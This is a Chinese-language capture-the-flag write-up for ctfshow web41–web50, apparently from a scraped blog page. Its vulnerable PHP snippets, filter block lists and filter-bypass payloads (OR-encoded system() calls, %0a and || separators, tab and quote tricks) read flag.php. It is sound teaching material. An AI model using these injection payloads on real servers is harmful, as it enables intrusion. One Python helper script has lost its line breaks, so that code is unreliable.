ctfshow web41-web50

news/2024/5/18 18:01:51

web41

代码审计

<?php
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -

这次字母过滤了,字符不是很多

思路:通过特殊字符来构造字母从而实现代码执行

这里根据题目提示已经给了一篇博客

https://blog.csdn.net/miuzzx/article/details/108569080

第一个脚本运行结果是

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

解释一下是怎么得来的

eg:A %40 %01

十六进制的40=十进制的64=二进制0100 0000

十六进制的01=十进制的01=二进制0000 0001

二者进行或运算

0100 0000

0000 0001

0100 0001 等于十进制65

十进制65对应的ascii码中A

如构造一个 (system)('ls')("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

不理解的话可以具体去看一下这个网址带着的表

在线进制转换 - 码工具

运行结果

参考:《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

找到了另一篇参考

下面可以直接修改ls

python脚本可以直接出编码,就不用手打了

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):t1 = ""t2 = ""for k in str1[p]:for i in range(256):for j in range(256):if re.search(pattern,chr(i)) :breakif re.search(pattern,chr(j)) :continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i=hex(i)[2:]if j < 16:hex_j="0"+hex(j)[2:]else:hex_j=hex(j)[2:]hex_i='%'+hex_ihex_j='%'+hex_jc=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))if(c ==k):t1=t1+hex_it2=t2+hex_jbreakelse:continuebreakprint("(\""+t1+"\"|\""+t2+"\")")

这里加了换行

用bp抓包

学习了大佬的方法,刚开始我bp抓包总是抓不到,于是用

open browser试了一下成功了

转为 post 请求来传递一下参数 发给重发器

添加下面的参数,ls显示目录

(system)(ls)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")

"system""cat flag.php"

(system)(cat flag.php)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

ctfshow{4f59f180-57f0-4d24-8fac-d9ddca4e608d}

小结一下这题:

由于过滤了字母,我们需要用字符来构成字母,根据题目提示用或运算构造字符,具体怎么构造参考上面的eg

理解了是怎么构造的,用脚本构造即可

bp抓包,用post构造参数,传参即可

参考资料:

CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

另一个参考资料的另一种方法有点看不懂

《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
web42

提示:

cat flag.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

代码分析:

system($c." >/dev/null 2>&1");: 使用PHP的system()函数执行用户提供的命令。在这里,用户提供的命令被附加到>/dev/null 2>&1,这个部分的作用是将命令的输出和错误重定向到/dev/null,这样就不会将输出发送到Web页面上

直接用提示上的

方法1

?c=cat flag.php ||

没有回显,在源代码

/?c=cat flag.php ||

方法2

直接让拼接的命令换行。

/?c=cat flag.php %0a

方法3

更容易理解

执行/?c=ls无回显

执行/?c=ls;ls

叫双写绕过,因为;的分割,此处是将第二个ls写入黑洞了

/?c=tac flag.php;(tac反向输出)

此处主要是分号起到了分割的作用,与前面大同小异

原理:

>/dev/null 2>&1 命令简单理解 表示不回显。

/dev/null 文件描述符,往里面写的所有数据都不会保存,也就是将返回结果写到黑洞里面

也就是c参数的所有返回结果是不显示的

Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

讲的更详细

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

或者直接使用 %0a(换行符,url 编码)将其分隔。

我的只有; || %0a能在源码中看到

web43

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat

方法1

可以看到提示:

nl flag.php%0a 查看源代码

确实出来了

/?c=nl flag.php%0a
/?c=nl flag.php%0a

换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行

方法2

执行/?c=ls&&ls

用两个&起到命令分割的作用代替;

&& 前也就是第一个命令执行成功后才会执行第二个命令

第二个命令输出黑洞

用的时候要进行url编码

/?c=ls%26%26ls

/?c=tac flag.php%26%26ls
/?c=tac flag.php%26%26ls

ctfshow{9190daf7-1b68-4c22-b21b-0c4c87f2e767}
web44

提示:

nl fla*.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat flag

简单的通配符绕过(通配符就是代表任意字符,虽然flag被过滤了,也可以用通配符过滤出来)

方法1:

使用提示的方法

/?c=nl fla*.php%0a

源码里有

方法2:

/?c=ls %26%26ls

(记得两个&&要进行url编码)

/?c=tac fla*.php %26%26 ls

方法3

/?c=tac fl''ag.php ||

web45

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了; cat flag 空格

直接试一下前面的方法(试了不行)

发现一个很好的思路:将空格进行url编码

空格对应的url编码是%20,试一下发现也不行

引入ascii码表的水平制表符

ASCII码一览表,ASCII码对照表

有一个作用是 分隔字段:在某些文件格式(如CSV)中,水平制表符可以用作字段之间的分隔符,以便在数据中区分不同的字段。

%09(tab)
/?c=tac%09fla*.php||

web46

提示

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了; cat flag 空格 [0-9] $ *

过滤了数字,编码方式就不行了

用提示的方法

/?c=nl%3Cfla''g.php||

%3C是<的url编码

/?c=nl%3Cfla''g.php||

源代码

到这里时我有一个疑问:明明数字被过滤了,为什么水平制表符%09还可以继续代替空格使用?

解释: 其中,[0-9]表示匹配任何一个数字字符。正则表达式中的|表示逻辑或的关系,即满足其中一项条件即可匹配。由于正则表达式中没有明确指定对水平制表符的过滤,因此在过滤的逻辑中会被忽略。

在使用时,url会自动解码就没有数字了,解码后就是水平制表符

方法2

/?c=tac%09fl''ag.php||
/?c=tac%09fl''ag.php||

也可以fla? fl?g等

web47

提示:

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail

比web46多了一些文件读取命令,但未过滤tac

用web46的payload

/?c=tac%09fl''ag.php||

其他命令同理

web48

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `

同web47,用web46的payload

/?c=tac%09fl''ag.php||

说明在linux下读取文件的命令有很多,过滤那么多,少一个都不行

web49

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %

这里虽然过滤了%,但我们的%09会被url解码为水平制表符

同web47,用web46的payload

/?c=tac%09fl''ag.php||

web50

代码审计

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % x09 x26

可以看到x09和%都被过滤了

/?c=tac<>fl''ag.php||
/?c=tac<>fl''ag.php||

/?c=nl<fl''ag.php||

小结:liunx下读取命令的方式有很多种,这些不是唯一的解法,掌握的解法越多,对命令运用会更熟练


http://www.mrgr.cn/p/07085263

相关文章

Suno:一键生成原创音乐的AI!还不赶紧体验一下?

最近一两年,AI的发展是飞速的,从AI聊天到AI绘画,再到AI视频,一次一次的刷新我们的认知,最近AI一键生成音乐也出来了。不知道大家有没有刷到过。今天盘哥就来把它分享给大家,你也可以一键生成专属于自己的音乐。01 - Suno(网站) 它就是一个可以一键生成音乐的AI网站,我…

详解Al作画算法原理

ChatGPT AI作画算法&#xff0c;又称为AI图像生成算法&#xff0c;是一种人工智能技术&#xff0c;它可以根据给定的输入自动生成图像。这类算法近年来变得非常流行&#xff0c;尤其是随着深度学习技术的发展。这里我将聚焦于目前最先进的一类AI作画算法&#xff0c;即生成对抗…

3种方式自动化控制APP

自动化控制APP不管是在工作还是生活方面,都可以帮助我们高效地完成任务,节省时间和精力。本文主要介绍自动化控制APP的3种常用方式。 1、Python + adb这种方式需要对Android有一些基本的了解。adb是一种用于调试Android应用程序的工具。使用Python和adb可以轻松实现自动化控制…

Appium控件交互策略:优化自动化测试效率的关键方法

简介 与 Web 元素操作一样(参考 Selenium Web 元素操作),定位到 APP 控件元素后,可以对控件进行一系列的操作,实现与 APP 交互,比如点击、文本输入、元素属性获取等。 控件交互常用方法 常见操作点击方法 element.click()。 输入操作 element.send_keys(appium)。 清除操…

STM32玩转物联网实战篇:5.ESP8266 WIFI模块MQTT通信示例详解

1、准备开发板 开发板功能区分布图 开发板俯视图 2、实验讲解 在之前的章节中&#xff0c;已经讲解过了MQTT的通讯原理和组包过程&#xff0c;现在开始手把手的教大家用代码来实现连接MQTT平台以及数据的交互&#xff0c;实际上这篇文章已经拖更接近两年了&#xff0c;非常…

Part-DB 配置流程

介绍 Part-DB是一个开源的器件管理工具,博主用于管理个人的电子器材,最近捣鼓了一下这个工具,由于手头还有一块闲置的赛昉星光2的开发板,所以我打算一起拿来捣鼓一下,如果不成功,就用树莓派(生气😠) 1.安装 大家可以直接按照 官方安装指导 来安装即可,我也是参考官方…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中&#xff0c;找到“General”选项。在“General”选项中&#xff0c;找到“Localization”&#xff08;界面语言&#xff09;项。在下拉菜单中…

『 论文解读 』大语言模型(LLM)代理能够自主地利用1 day漏洞,利用成功率竟高达87%,单次利用成本仅8.8美元

1. 概览 该论文主要展示了大语言模型LLM代理能够自主利用现实世界的 1 day 漏洞。研究我发现&#xff0c; GPT-4 在提供了CVE描述的情况下&#xff0c;能够成功利用 87% 的漏洞。 这与其他测试模型&#xff08;如 GPT-3.5 和其他开源 LLM &#xff09;以及开源漏洞扫描器&…

面试:ThreadLocal

目录 1、ThreadLocal可以实现〔资源对象】的线程隔离&#xff0c;让每个线程各用各的【资源对象】&#xff0c;避免争用引发的线程安全问题 2、ThreadLocal同时实现了线程内的资源共享 3、原理 4、为什么ThreadLocalMap 中的 key (即 ThreadLocal &#xff09;要设计为弱引用…

双向循环链表

双向循环链表的原理及相应功能的代码实现。双向循环链表 原理与应用 双向循环链表与双向链表的区别:指的是双向循环链表的首结点中的prev指针成员指向链表的尾结点,并且双向循环链表的尾结点里的next指针成员指向链表的首结点,所以双向循环链表也属于环形结构。双向循环链表…

选择企业文件同步备份系统 需要注意这几点

企业文件同步备份系统,是几乎每个企业都会用到的,都是为了保障业务数据的连续性、提高数据的可用性,让数据价值最大化。 企业在进行文件同步备份时可能会面临的问题包括: 1、数据传输效率低下:在面对海量小文件时,传统备份方式需要对每个文件进行打开、读取、关闭操作,…

基于python+django+mysql农业生产可视化系统

博主介绍&#xff1a; 大家好&#xff0c;本人精通Java、Python、C#、C、C编程语言&#xff0c;同时也熟练掌握微信小程序、Php和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我有丰富的成品Java、Python、C#毕设项目经验&#xff0c;能够为学生提供各类…

Django中间件的源码解析流程(上)——中间件载入的前置

目录 1. ​前言​ 2. 请求的入口 3. 中间件加载的入口 4. 源码中的闭包实现 5. 最后 1. 前言 哈喽&#xff0c;大家好&#xff0c;我是小K,今天咋们分享的内容是&#xff1a;在学会Django中间件之后&#xff0c; 我们继续深入底层源码。 在执行中间件时请求到来总是从前往后…

华北电力大学 2024 校历

参考:https://gs.ncepu.edu.cn/qrzpy/zlxz/2f26c800a68c48658dcdc13d389bb15f.htm 虽是两个校区,教学应是同步的。

恶意软件狩猎新途径:使用.NET元数据分析跟踪恶意软件

本文由Blaze于2024年3月25日发表于其个人博客网站上。 就在不久前&#xff0c;我们意外发现了一个PureCrypter样本&#xff0c;而PureCrypter则是一款适用于各种类型恶意软件&#xff08;例如Agent Tesla和RedLine&#xff09;的加载器和混淆处理工具。深入分析之后&#xff0c…

WPF 已知问题 开启 IsManipulationEnabled 之后触摸长按 RepeatButton 不会触发连续的 Click 事件

本文记录 WPF 的一个已知问题,在 RepeatButton 上开启 IsManipulationEnabled 漫游支持之后,将会导致触摸长按到 RepeatButton 之上时,不会收到源源不断的 Click 事件这是有个伙伴在 WPF 官方仓库报告的问题,详细请看 https://github.com/dotnet/wpf/issues/8223 原始的问题…

修复 Debian 安装 dotnet 失败 depends on ca-certificates

本文记录我在 Debian 安装 dotnet 失败,报错信息是 packages-microsoft-prod depends on ca-certificates; however: Package ca-certificates is not installed.一开始按照官方的以下代码例子进行安装 packages-microsoft-prod.deb 文件,命令如下 sudo dpkg -i packages-mi…

[已解决]react打包部署

react打包部署 问题 npm install 命令无反应 思路 换成 yarn install 安装完hadoop的环境后&#xff0c;使用node的yarn会报错&#xff1a; 我们在cmd使用where yarn&#xff0c;如下&#xff1a; 看你想保留哪一个&#xff0c;我平时node用的多&#xff0c;就把hadoop的y…

【04-提升模型性能:集成学习与超参数优化】

文章目录 前言集成学习BaggingBoosting超参数优化随机搜索贝叶斯优化总结前言 在前几篇博文中,我们已经介绍了一些机器学习的基础知识、Scikit-learn的核心工具与技巧,以及如何评估模型性能。本篇博文将重点讲解两个可以显著提升机器学习模型性能的高级策略:集成学习和超参数…

Qt/C++音视频开发71-指定mjpeg/h264格式采集本地摄像头/存储文件到mp4/设备推流/采集推流

一、前言 用ffmpeg采集本地摄像头,如果不指定格式的话,默认小分辨率比如640x480使用rawvideo格式,大分辨率比如1280x720使用mjpeg格式,当然前提是这个摄像头设备要支持这些格式。目前市面上有一些厂家做的本地设备支持264格式,这个压缩率极高,由于采集到的就是264格式的裸…